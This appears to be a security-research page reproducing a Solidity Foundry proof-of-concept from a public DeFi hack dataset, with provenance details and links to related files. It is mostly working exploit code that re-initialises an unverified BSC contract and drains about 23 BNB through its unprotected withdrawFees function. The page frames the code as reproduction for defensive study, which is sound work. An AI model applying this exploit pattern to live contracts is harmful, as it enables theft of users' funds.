Public reproduction file
src/test/2025-02/unverified_d4f1_exp.sol
Public reproduction file for dataset entry unverified_d4f1.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "../interface.sol";6// @KeyInfo - Total Lost : 15.2k USD7// Attacker : 0x8149f77504007450711023cf0ec11bdd6348401f8// Attack Contract : https://bscscan.com/address/0x009e64c02848dc51aa3f46775c2cfbf1190c28419// Vulnerable Contract : https://bscscan.com/address/0xd4f1afd0331255e848c119ca39143d41144f7cb310// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xc7fc7e066ec2d4ea659061b75308c9016c0efab329d1055c2a8d91cc11dc386812// @Info13// Vulnerable Contract Code : https://bscscan.com/address/0xd4f1afd0331255e848c119ca39143d41144f7cb315// @Analysis16// Post-mortem : https://x.com/TenArmorAlert/status/189077612291830993217// Twitter Guy : https://x.com/TenArmorAlert/status/189077612291830993218// Hacking God : N/A20address constant addr = 0xD4F1AFD0331255e848c119CA39143D41144f7Cb3;21address constant zero = 0x0000000000000000000000000000000000000000;22address constant attacker = 0xF30Be320c55038d7F784c561E56340439Dd1a283;24contract ContractTest is Test {25 function setUp() public {26 vm.createSelectFork("bsc", 46681362);27 }29 function testPoC() public {30 emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);31 vm.startPrank(attacker, attacker);32 AttackerC attC = new AttackerC();33 deal(address(attC), 23.007026290916617 ether);34 vm.stopPrank();35 emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);36 }37}39// 0x009E64c02848dc51aA3f46775c2cfBf1190C284140contract AttackerC {41 constructor() {42 // call_1: addr.initialize()43 (bool s1, ) = addr.call(abi.encodeWithSelector(bytes4(keccak256("initialize()"))));44 require(s1, "init failed");45 // call_2: addr.withdrawFees(address _to, uint256 _amount)46 (bool s2, ) = addr.call(47 abi.encodeWithSelector(48 bytes4(keccak256("withdrawFees(address,uint256)")),49 zero,50 uint256(23007026290916620075)51 )52 );53 require(s2, "withdrawFees failed");54 // call_3: send value to tx.origin55 payable(tx.origin).transfer(23007026290916620075);56 } 57}Analysis
Dataset entry
Public Foundry test for “unverified_d4f1” (2025-02-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-02/Bybit_exp.solSame month in the dataset · 308 lines
- src/test/2025-02/FourMeme_exp.solSame month in the dataset · 245 lines
- src/test/2025-02/GMT7_exp.solSame month in the dataset · 86 lines
- src/test/2025-02/GoldReserve_exp.solSame month in the dataset · 136 lines
- src/test/2025-02/HegicOptions_exp.solSame month in the dataset · 70 lines
- src/test/2025-02/HenloKart_exp.solSame month in the dataset · 80 lines
- src/test/2025-02/INVISTECH_exp.solSame month in the dataset · 137 lines
- src/test/2025-02/LimitOrderProtocol_exp.solSame month in the dataset · 71 lines
- src/test/2025-02/PeapodsFinance_exp.solSame month in the dataset · 104 lines
- src/test/2025-02/Scorch_exp.solSame month in the dataset · 115 lines
- src/test/2025-02/StepHeroNFTs_exp.solSame month in the dataset · 111 lines
- src/test/2025-02/unverified_35bc_exp.solSame month in the dataset · 91 lines
- src/test/2025-02/Venus_ZKSync_exp.solSame month in the dataset · 221 lines
- src/test/2026-03/unverified_237d_exp.solSame protocol or name in the dataset · 162 lines
- src/test/2026-03/unverified_1304_exp.solSame protocol or name in the dataset · 178 lines
- src/test/2025-08/unverified_d132_exp.solSame protocol or name in the dataset · 207 lines
- src/test/2025-07/unverified_8fd3_exp.solSame protocol or name in the dataset · 105 lines
- src/test/2025-03/unverified_3f27_exp.solSame protocol or name in the dataset · 112 lines
- src/test/2025-03/unverified_de7c_exp.solSame protocol or name in the dataset · 129 lines
- src/test/2025-07/unverified_54cd_exp.solSame protocol or name in the dataset · 77 lines
- src/test/2025-04/Unverified_6077_exp.solSame protocol or name in the dataset · 99 lines
- src/test/2025-05/unverified_0000_exp.solSame protocol or name in the dataset · 99 lines
- src/test/2024-09/unverified_03f9_exp.solSame protocol or name in the dataset · 73 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x8149f77504007450711023cf0ec11bdd6348401f
- Attack Contract
0x009e64c02848dc51aa3f46775c2cfbf1190c2841
- Vulnerable Contract
0xd4f1afd0331255e848c119ca39143d41144f7cb3
- Attack Tx
0xc7fc7e066ec2d4ea659061b75308c9016c0efab329d1055c2a8d91cc11dc3868
File record
- Name
- unverified_d4f1
- Path
- src/test/2025-02/unverified_d4f1_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4de982095923250576d440b7b2eb4a46794f5d3f
- Language
- Solidity
- Size
- 57 lines
- Date
- 2025-02-15
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-02/unverified_d4f1_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4de982095923250576d440b7b2eb4a46794f5d3f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.